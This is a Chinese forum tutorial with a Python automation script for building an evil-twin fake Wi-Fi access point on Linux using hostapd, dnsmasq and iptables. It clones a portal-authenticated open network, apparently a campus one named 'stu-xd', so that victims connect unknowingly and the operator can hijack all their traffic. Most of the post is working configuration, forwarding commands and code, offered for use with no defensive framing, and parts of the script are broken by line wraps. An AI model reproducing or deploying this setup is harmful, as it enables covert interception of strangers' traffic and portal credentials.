搜索
查看: 2117|回复: 0

Linux下自动化搭建FakeAP,劫持用户在Portal认证下的所有流量那么如何在linux下搭...

[复制链接]

674

主题

981

帖子

2485

积分

管理员

本论坛第一帅

Rank: 9Rank: 9Rank: 9

积分
2485

热心会员推广达人宣传达人突出贡献优秀版主荣誉管理论坛元老

QQ
发表于 2018-5-9 22:51:56 | 显示全部楼层 |阅读模式
如何在linux下搭建一个fakeap,使得portal认证下的用户无法发现连接你的假AP,并且能够正常上网。先说一下portal认证。无线WiFi认证方式主要有wpa2 和 open两种,而portal认证为open的一种,只不过想要获得访问权限,就得进行身份认证,无论是校园里的账号密码,或者酒店里的手机验证码都属于portal认证。运行环境,一块无线网卡负责搭建ap,有线部分负责连接目标ap。(至于两块网卡应该是可以实现的,不过下面的代码不适用,需要对NetworkManager的配置文件进行修改)

那么如何在linux下搭建一个假AP,使用户鬼使神差的连到你的AP上而不被发现呢?这里我们使用hostapd,dnsmasq伪造一个Fake AP。

1. 首先安装hostapd,dnsmasq
  1. <font size="2" color="#00bfff">&#8203;sudo apt-get install hostapd
  2. sudo apt-get install dnsmasq</font>
复制代码
2.安装完成后首先要修改hostapd、dnsmasq的配置文件

首先是hostapd的配置文件,该文件负责配置开启ap所需要的内容, hostapd的配置文件是/etc/hostapd/hostapd.conf,这个文件需要自己创建,配置文件需要修改的是essid和channel,假如你的目标网络为“test“,那么配置文件中的essid需要修改为test,channel最好和目标网络相同。下图配置为建立一个作用在3信道的essid为test的OPEN式网络的假AP:

  1. interface=wlan0
  2. driver=nl80211
  3. ssid=test
  4. hw_mode=g
  5. channel=3
  6. macaddr_acl=0
  7. auth_algs=1
  8. ignore_broadcast_ssid=0
复制代码

Dnsmasq是一个小巧且方便地用于配置DNS和DHCP的工具,适用于小型网络 。如果网络环境内的机器较多,建议换用dhcpd,Dnsmasq负责分配ip和dns。配置如下:

  1. disables dnsmasq reading any other files like /etc/resolv.conf for nameservers\nno-resolv
  2. # Interface to bind to
  3. interface=wlan0
  4. #Specify starting_range,end_range,lease_time
  5. dhcp-range=10.0.0.3,10.0.0.20,12h
  6. # dns addresses to send to the clients
  7. server=8.8.8.8
  8. server=10.0.0.1
复制代码
3.配置完成后,你的假AP便可以为用户分配ip和dns了

但是我们的目标是获取真正AP的认证页面。实际上,当你随意访问一个portal认证下网络的网页时,总会率先弹到认证界面,这是DNS服务器在起作用,他将所有的域名都解析为认证页面的ip,从而返回用户一个认证界面。所以我们要想给用户返回相同的界面的话,便要使用该portal网络的dns地址

当然我们连接portal服务器后,随意访问一个网站都会获得该dns地址:

  1. nslookup qq.com
复制代码

将dns地址添加到上述Dnsmasq配置文件中,便可以返给用户正确的认证界面了。

4.在这里还有一点需要注意,我们要修改NetworkManager.conf这个文件

将无线网卡设置成未托管,这样才能正常启动hostapd,内容为

  1. [main]
  2. plugins=keyfile
  3. &#8203;
  4. [keyfile]
  5. unmanaged-devices=interface-name:wlan0
复制代码
5.配置无线接入点的ip和子网掩码
  1. sudo ifconfig wlan0 up 10.0.0.1 netmask 255.255.255.0
复制代码
6.开启路由转发,使得我们的网卡可以转发流量
  1. sudo sysctl -w net.ipv4.ip_forward=1
复制代码
7.经过上述处理,我们可以成功的开启假ap,但是工作还没有做完

我们的目的是使得用户能够正常访问web流量,那么我们需要将假ap收到的流量转发给真正的AP,而将AP回复的信息转发给用户。这里需要设置一下iptables 转发,命令如下。

  1. sudo iptables --flush
  2. sudo iptables --table nat --flush
  3. sudo iptables --delete-chain
  4. sudo iptables --table nat --delete-chain
  5. sudo iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
  6. sudo iptables --append FORWARD --in-interface wlan0 -j ACCEPT
复制代码
8.配置完成后,大功告成!这时便可以开启你的Fake AP了!
  1. sudo hostapd /etc/hostapd/hostapd.conf
复制代码

当用户连接你的假ap,你便可以劫持他的所有流量了!

代码如下(该代码运行在kali下,其他系统注意修改无线、有线网卡接口名称,root权限获取,essid也需要自行修改)

  1. #coding = utf-8
  2. import os
  3. import subprocess
  4. sudo = "/usr/bin/su
  5. do"
  6. tee = "/usr/bin/tee"
  7. def _run_cmd_write(cmd_args, s):
  8. # write a file using sudo
  9. p = subprocess.Popen(cmd_a
  10. rgs,
  11. stdin=subprocess.PIPE,
  12. stdout=subprocess.PIPE,
  13. shell=False, universal_newlines=True)
  14. p.stdin.write(s)
  15. p.stdin.close()
  16. p.wait()
  17. def write_file(path, s):
  18. _run_cmd_write((sudo, tee, path), s)
  19. def dnsmasq():
  20. try:
  21. ap_iface = 'wlan0'
  22. net_iface = 'eth0'
  23. network_manager_cfg = "[main]\nplugins=keyfile\n\n[keyfile]\nunmanaged-devices=interface-name:wlan0\n"
  24. os.system("sudo cp /etc/NetworkManager/NetworkManager.conf /etc/NetworkManager/NetworkManager.conf.backup")
  25. write_file("/etc/NetworkManager/NetworkManager.conf", network_manager_cfg )
  26. os.system("sudo service network-manager restart")
  27. os.system("sudo ifconfig wlan0 up")
  28. os.system("sudo cp /etc/dnsmasq.conf /etc/dnsmasq.conf.backup")
  29. proc = subprocess.Popen("nslookup qq.com",stdin=subprocess.PIPE,stdout=subprocess.PIPE,shell=True)
  30. lines = proc.communicate()[0].split('\n')
  31. for line in lines:
  32. if "Server:" in line:
  33. dnsserver = line[9:]
  34. break
  35. dnsmasq_file = "# disables dnsmasq reading any other files like /etc/resolv.conf for nameservers\nno-resolv\n# Interface to bind to\ninterface=wlan0\n#Specify starting_range,end_range,lease_time\ndhcp-range=10.0.0.3,10.0.0.20,12h\n# dns addresses to send to the clients\nserver=8.8.8.8\nserver=10.0.0.1\nserver=" + dnsserver + "\n"
  36. os.system("sudo rm /etc/dnsmasq.conf > /dev/null 2>&1")
  37. write_file("/etc/dnsmasq.conf", dnsmasq_file)
  38. except:
  39. pass
  40. def hostapd(essid,channel):
  41. try:
  42. #HOSTAPD CONFIG
  43. ssid = essid
  44. chan = channel
  45. hostapd_file = "interface=wlan0\ndriver=nl80211\nssid=" + ssid + "\nhw_mode=g\nchannel=" + chan + "\nmacaddr_acl=0\nauth_algs=1\nignore_broadcast_ssid=0\n"
  46. os.system("sudo rm /etc/hostapd/hostapd.conf > /dev/null 2>&1")
  47. write_file("/etc/hostapd/hostapd.conf", hostapd_file)
  48. except:
  49. pass

  50. def iptables_setting():
  51. try:
  52. os.system("sudo ifconfig wlan0 up 10.0.0.1 netmask 255.255.255.0")
  53. os.system("sudo iptables --flush")
  54. os.system("sudo iptables --table nat --flush")
  55. os.system("sudo iptables --delete-chain")
  56. os.system("sudo iptables --table nat --delete-chain")
  57. os.system("sudo iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE")
  58. os.system("sudo iptables --append FORWARD --in-interface wlan0 -j ACCEPT")
  59. #/IPTABLES
  60. except:
  61. pass
  62. def start_dnsmasq():
  63. try:
  64. os.system("sudo /etc/init.d/dnsmasq stop > /dev/null 2>&1")
  65. os.system("sudo pkill dnsmasq")
  66. os.system("sudo dnsmasq")
  67. except:
  68. pass
  69. def start_hostapd():
  70. try:
  71. os.system("sudo sysctl -w net.ipv4.ip_forward=1 > /dev/null 2>&1")
  72. os.system("sudo hostapd /etc/hostapd/hostapd.conf")
  73. except:
  74. pass

  75. def main():
  76. dnsmasq()
  77. hostapd('stu-xd','3')
  78. iptables_setting()
  79. start_dnsmasq()
  80. start_hostapd()
  81. if name == 'main':
  82. main()
复制代码

52x58PICUyn_1024.jpg




有志者,事竟成,破釜沉舟,百二秦关终属楚. 苦心人,天不负, 卧薪尝胆 ,三千越甲可吞吴
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表